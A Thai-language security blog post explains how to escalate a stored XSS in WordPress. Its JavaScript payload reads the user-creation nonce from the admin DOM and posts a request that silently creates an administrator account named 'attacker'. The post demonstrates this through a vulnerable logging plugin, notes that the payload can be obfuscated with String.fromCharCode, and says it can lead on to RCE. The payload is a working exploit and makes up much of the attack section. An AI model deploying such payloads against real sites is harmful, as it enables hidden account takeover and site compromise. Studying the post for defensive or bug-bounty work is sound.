สวัสดีครับผม คิม ที่เพื่อนๆมักเรียกกันว่า Kim Japan Antivirus …. ไม่ต้องไปนึกคำย่อ 5555 วันนี้ผมจะมานำเสนอวิธีหนึ่งที่ใช้ในการ Escalate ความรุนแรงของ XSS ให้มากขึ้น และเพิ่มความระมัดระวังการใช้ CMS & Open Source ที่มีลักษณะการเก็บ nonce ที่คล้ายกันครับ วิธีนี้ก็ไม่น่าจะใช่อะไรไหม่สำหรับคนที่สอบ OSCP เพราะมันก็มีตัวอย่างอยู่ในนั้น เพียงแต่ผมจะมาพูดในมุมที่ขยายมากกว่าในเอกสารครับ ซึ่งในที่นี้ผมขอเลือก WordPress มาเป็นพระเอกของเรากันครับ ก่อนจะไปกันต่อผมขอ Mention ไว้ตรงนี้ว่า

WordPress Core มันปลอดภัยใช้ได้เลยครับ

อันนี้ไม่ได้ประชดน้อ แต่อย่าไปวิตกกับมันมาก แค่คุณเลือก Plugin ที่ดีๆ แล้วก็อย่าคิดว่าช่องโหว่ตัวเล็กๆน้อยๆอย่าง XSS ที่หลายๆคนอาจจะคิดว่ามันทำได้แค่ Steal Cookie & Open Redirect มันไม่อันตราย…. เอาละไปดูกัน

What Is Nonce????

เป็นค่าแบบสุ่มคาดเดาไม่ได้ ที่ผูกกับ Session & Action เพื่อยืนยันว่า Request ส่งโดยผู้ใช้ที่ถูกต้องจริงๆ แน่นอนว่ามันออกแบบมาเพื่อป้องกัน Cross Site Request Forgery (CSRF) ได้ดีเลยแหละ ลองนึกว่าเราจะโจมตีโดยกำหนด Action แล้ว nonce จำเป็นต้องแนบไป คือแตกสถานเดียว…. ไหนจะมีพวก Header ต่างๆที่ป้องกัน Cross Site Request Forgery (CSRF) อีกคือจบ….แต่ว่านะถ้าเราตีโดยไม่ได้ออกไปจากเว็บหรือ Origin แล้วเราได้ nonce ในเวลานั้นแนบไปกับ Request Action ล่ะ….มันจะกันยังไง ในเมื่อมันเหมือนการ Action จาก Accounts นั้นจริงๆ ฮ่าๆ

What Is Cross Site Request Forgery (CSRF)????

สั้นๆเลยมันเป็นช่องโหว่ที่ส่ง Request Action ไปจุดที่เกิดช่องโหว่ด้วย JavaScript ซึ่งจะใช้ <form></form> และใส่ค่าที่ต้องการส่งไปให้ครบ ถ้าหากเว็บเป้าหมายไม่ได้มีค่าใดๆที่ออกแบบมาเพื่อป้องกันเรื่องนี้ และไม่มี Header ป้องกันอีก ก็จะแตก!!!! แต่ว่า Blog นี้จะไม่ได้มาอธิบายเรื่องนี้ เอาเป็นว่ามันจะให้ผู้โจมตีหลอกให้เหยื่อ Action ตามต้องการโดยที่เหยื่อไม่รู้ตัวเลยแหละ

What Is Cross Site Scripting (XSS)???

ก็….ช่องโหว่ที่เราสามารถแทก JavaScript ไปเพื่อกระทำต่างๆที่ผู้โจมตีต้องการ คือว่า JavaScript เนี่ยมันมี Attack Surface เยอะมากเพราะที่เว็บก็ใช้ JavaScript และจุดหลายจุดก็ต้องรับค่า บางทีไม่โผล่หน้านี้ไปโผล่อีกหน้า หรือไปโผล่อีก Subdomains เลยแหละครับ แต่เดี๋ยวจะเขียนแยกอีกทีนะครับ

เอาละเรารู้สิ่งที่ต้องรู้ระดับนึงแล้วนะ ต่อไปเราจะมาดูว่าปัญหาที่เกิดขึ้นมันคืออะไร….เรื่องของเรื่องคือ WordPress Core เนี่ยเวลาเราอัพเดท User หรือสร้าง User ไหม่เนี่ยมันจะมี _wp_nonce_user ในการแนบส่งไปด้วยเสมอจนใครๆหลายๆคนอาจจะคิดว่าค่าดังกล่าวเพียงพอละ เพราะ XSS Steal Cookie ก็ไม่ติด แค่ Redirect โอ๊ะ แทบจะทำไรไม่ได้…..

แต่ความหายนะระดับไฟไหม้ คือค่า _wp_nonce_user เนี่ยมันดันอยู่ใน DOM!!!! ซึ่งตัว Cross Site Scripting (XSS) เนี่ยมันมันจะกระทำทุกอย่างที่เกี่ยวข้องกับ DOM & JavaScript ถูกไหมครับ ดังนั้นมันสามารถที่จะขุด _wp_nonce_user ได้ เช่น

None
จะพบว่าวางโต้งๆ ใน Dom เลย
None
จะเห็นว่าเราสามารถใช้ JavScript ขุดค่า nonce ได้จริงๆ
var ajaxRequest = new XMLHttpRequest(); 
var requestURL = "/wp-admin/user-new.php"; 
var nonceRegex = /ser" value="([^"]*?)"/g; 
ajaxRequest.open("GET", requestURL, false); 
ajaxRequest.send(); 
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText); 
var nonce = nonceMatch[1]; 

ทีนี้พอจะมีไอเดียหรือยังครับ….ถ้ายังเราจะไปกันต่อ ทีนี้อย่างที่บอกว่า Cross Site Scripting (XSS) ถ้าเราแทรกไปได้ มันจะทำทุกอย่างตามที่เราต้องการ แปลว่าเราเองก็แทรกโค้ดด้านบนไปได้เช่นกันถูกไหมครับ เมื่อมันขุดได้ แล้วส่ง Request ได้ มันก็สาามารถ ขุด เอาค่า nonce ของ Administrator ในเวลานั้น พร้อมทั้ง Action สร้าง User ไหม่ได้ด้วย

var params = "action=createuser&_wpnonce_create-
user="+nonce+"&user_login=attacker&email=test@evil.net&pass1=Kyokito&pass2=Kyokito&role=administrator"; 
ajaxRequest = new XMLHttpRequest(); 
ajaxRequest.open("POST", requestURL, true); 
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
ajaxRequest.send(params); 

เริ่มเห็นภาพใช่ไหมครับ โค้ดก่อนหน้าที่ใช้ขุด กับโค้ดด้านบนนี้ เมื่อรวมกันแล้วมันจะได้ Logic ว่า

JavaScript => ขุด nonce => ใส่ nonce เก็บไว้ในตัวแปล => ส่ง request พร้อมค่า nonce ในตัวแปล

ซึ่ง JavaScript จะถูก Execute เพียงแค่ Admin ถูกโจมตีจาก Cross Site Scripting (XSS) …..

ทีนี้เรารู้จุดอ่อนที่น่าเป็นห่วงแล้วแต่ก็ยังรู้สึก หึ้มมมมมม แต่ถ้าไม่โดนตีก็ไม่โดนนี่นา….พอๆกับคำว่า "ไม่ออกเน็ตไม่โดนแฮก" ทั้งที่จริงๆแม่งไม่ใช่ ฮ่าๆ เงื่อนไขมันคือจุดที่มี

Cross Site Scripting (XSS) เป็นทางเปิด!!!!

สำหรับ WordPress Core มันไม่มีช่องโหว่ส่วน Cross Site Scripting (XSS) ตรงๆที่แบบไม่ใช่ User จะส่งถึง Administrator ได้ (ในเวลานี้นะ ผมยังไม่ได้ลองไปนั่งดู Core หนักๆ ฝึกภาษาญีปุ่นก่อน) และแล้วช่องทางการโจมตีคือ Plugin

ต่อจากนี้จะเป็น Demo ตัวอย่างของการโจมตี โดยผมเลือก Plugin ที่ชื่อว่า

WP Logs Book 1.0.1

ซึ่งจะมีลักษณะการทำงานคือเก็บ Log การ Login ของ wp-login ไม่ว่าจะ Error หรือ Success ก็ตาม แต่ประเด็นคือมันมีช่องโหว่ Cross Site Scripting Stored (XSS Stored) อยู่ครับหาก Administrator เข้ามาดูจะถูกโจมตีทันที นั้นจะนำไปสู่หายนะที่กล่าวไปข้างต้น เอาละต่อไปนี้จะเป็นขั้นตอนนี้ครับ

None
แทรก Paylod ให้ไปโผล่หลังบ้าน
  1. เริ่มแรกผมจะแทรก Cross Site Scripting (XSS) เพื่อฝัง Payload ไปหลังบ้าน
None
None

2. จะพบใน Dashboard ถ้า Administrator เข้ามาจะ Execute JavaScript เน้นๆ!!!! ทีนี้ต่อไปเราก็แค่ใช้ XSS Payload ที่เหมาะสมกับการรัน Script ยาวๆ บางครั้งอาจจะใช้ eval(atob()) แล้วติด หรือใช้ eval(String.fromCharCode(PAYLOAD) ก็ได้ ในที่นี้ เราจะใช้ String.fromCharCode กัน

var ajaxRequest = new XMLHttpRequest(); 
var requestURL = "/wp-admin/user-new.php"; 
var nonceRegex = /ser" value="([^"]*?)"/g; 
ajaxRequest.open("GET", requestURL, false); 
ajaxRequest.send(); 
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText); 
var nonce = nonceMatch[1]; 

var params = "action=createuser&_wpnonce_create-
user="+nonce+"&user_login=attacker&email=test@evil.net&pass1=Kyokito&pass2=Kyokito&role=administrator"; 
ajaxRequest = new XMLHttpRequest(); 
ajaxRequest.open("POST", requestURL, true); 
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
ajaxRequest.send(params); 

เราจะเอาโค้ดด้านบนไปทำเป็น charCode แล้วใช้งานผลลัพธ์จะเป็นดังนี้

None
ส่งฮอลคูลไป
None
เอ้าาา สร้าง Attacker เฉย
None
เป็น Administrator อีกตั้งหาก

3. จากนั้นหาก Administrator เข้ามาสู่หน้า WP Logs Book ก็จะทำการสร้าง User ไหม่โดยไม่รู้ตัว และเป็น Administrator เสียด้วย หลังจากนี้คงไม่ต้องอธิบายอะไรมาเกี่ยวกับความหายนะ เพราะมันก็มีหลายท่าที่ไปต่อเป็น RCE ได้เช่น การแก้ 404 Page เป็นต้น

เอาละมาถึงตรงนี้หากเราตกตะกอนกันต่อ หลักของปัญหาเลยคือ ค่า Nonce เนี่ยมันทะลึ่งใส่ไว้ใน DOM ผสมโรงกับ Cross Site Scripting (XSS) ที่ส่งไปถึง Administrator ได้ ทำให้มัน Bypass Nonce ที่ถูกออกแบบมาป้องกัน Cross Site Request Forgery (CSRF) จะว่ายังไงดีมันแข็งแรงอยู่แล้วนะ เพียงแต่ Plugin เป็นตัวเปิดแผล

และบ่อยครั้งภาพจำ Cross Site Scripting (XSS) จะถูกมองว่าเป็นช่องโหว่กลางๆ ถ้า Steal Cookie ไม่ได้ก็อาจจะต่ำกว่านั้น ซึ่งจริงๆแล้วเราควรลอง Escalate มันหากเรารู้ว่ามันสามารถ Chain ได้หลายรูปแบบ

Bug Bounty: Tip.

เกร็ดเล็กๆก็แล้วกันนะครับ จำไว้เสมอว่า XSS ไม่ได้ทำได้แค่ Steal Cookie แต่มัน Action ได้ด้วย หากมันดึงค่ากลับไม่ได้ ลองเปลี่ยนเป็นยิงเข้าสุดท้าง แล้วถ้าเจอค่าใดๆใน DOM ที่เป็นมีลักษณะ Nonce ไม่ว่าจะ Random ขนาดไหนก็ตาม ลองโจมตีแบบนี้ดู แล้วชีวิตคุณจะเปลี่ยนไป

ขอบคุณครับ